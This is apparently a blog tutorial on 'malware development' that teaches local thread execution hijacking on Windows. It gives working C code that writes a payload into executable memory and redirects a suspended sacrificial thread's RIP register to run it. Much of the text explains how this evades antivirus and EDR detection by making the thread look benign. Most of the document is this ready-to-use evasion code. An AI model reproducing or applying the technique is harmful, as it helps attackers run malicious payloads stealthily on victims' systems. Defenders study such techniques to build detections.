Basic Hijacking Local Thread

Hi Guys

Today, I will be sharing fundamental concepts malware development. This session will focus on the elementary aspects of executing a malicious payload with the hijacked thread

Thread execution hijacking is a method that enables the execution of a payload without the necessity of creating a new thread. This technique involves suspending the thread, updating the register that points to the next instruction in memory to indicate the beginning of the payload, and then allowing the thread to resume execution, subsequently triggering the execution of the payload.

The WinAPIs GetThreadContext and SetThreadContext facilitate the retrieval and setting of a thread’s context, respectively.

The GetThreadContext function populates a CONTEXT structure with all the relevant information about the thread. In contrast, the SetThreadContext function takes a populated CONTEXT structure and applies it to the specified thread.

Thread Hijacking vs Thread Creation

The first thing we need figure out is why exactly we’re hijacking a created thread to run a payload instead of just using a new thread to execute the payload. From the point of view of AV or EDR, the concerns here are all about exposing the payload and staying stealthy.

Creating a new thread for payload execution will expose the base address of the payload (EIP or RIP), and thus the payload’s content because a new thread’s entry must point to the payload’s base address in memory. This is not the case with thread hijacking because the thread’s entry would be pointing at a normal process function and therefore the thread would appear benign. Below is the API to create thread where &MyFunction is the entry point of the fuction to execute.

hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &MyFunction, NULL, CREATE_SUSPENDED, NULL);

Modifying The Thread’s Context

The next thing to do is grab the thread’s context so we can tweak it and make it point at a payload. Once the thread is resumed again, the payload gets executed.

GetThreadContext will be used to retrieve the target thread’s CONTEXT structure. Certain values of the structure will be modified to modify the current thread’s context using SetThreadContext

The values determining the next step in the execution of a thread are the RIP register for 64-bit processors and the EIP register for 32-bit processors. These registers, also referred to as the instruction pointer register, indicate the next instruction to be executed and are updated after each instruction. We can see in the below code ThreadCtx.Rip = pAddress; is the important assignment to update the thread next execution code to our payload

BOOL RunMyThread(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
	
	PVOID    pAddress         = NULL;
	DWORD    dwOldProtection  = NULL;
	CONTEXT  ThreadCtx        = { 
		.ContextFlags = CONTEXT_CONTROL 
	};

	pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pAddress == NULL){
		printf("VirtualAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	memcpy(pAddress, pPayload, sPayloadSize);

	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("VirtualProtect Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	if (!GetThreadContext(hThread, &ThreadCtx)){
		printf("GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	ThreadCtx.Rip = pAddress;

	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;
}

Creating The Sacrificial Thread

So, to use RunMyThread, the main function should give it a thread handle. As I mentioned before, the targeted thread needs to be suspended for RunMyThread to work. To create a new thread, we’ll use the CreateThread WinAPI. This new thread should seem harmless to avoid being detected. We can do this by having a harmless function run on this new thread.

So, the next thing to do is to pause the newly created thread for GetThreadContext to work. You can do this in two ways:

  1. Passing CREATE_SUSPENDED flag in CreateThread’s dwCreationFlags parameter. That flag will create the thread in a suspended state.
  2. Creating a normal thread, but suspending it later using the SuspendThread WinAPI.

The first method will be our go-to, since it uses fewer WinAPI calls. But no matter which method we use, we’ll still have to make sure the thread is up and running after we execute RunMyThread. We can do this by using the ResumeThread WinAPI, which only needs the handle of the suspended thread.


VOID MyFunction() {

	printf("Just run any codes here\n");

}


int main() {
	
	HANDLE hThread = NULL;

	hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &MyFunction, NULL, CREATE_SUSPENDED, NULL);
	if (hThread == NULL) {
		printf("CreateThread Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	if (!RunMyThread (hThread, Payload, sizeof(Payload))) {
		return -1;
	}

	ResumeThread(hThread);
	
	getchar();

	return 0;
}


Leave a Reply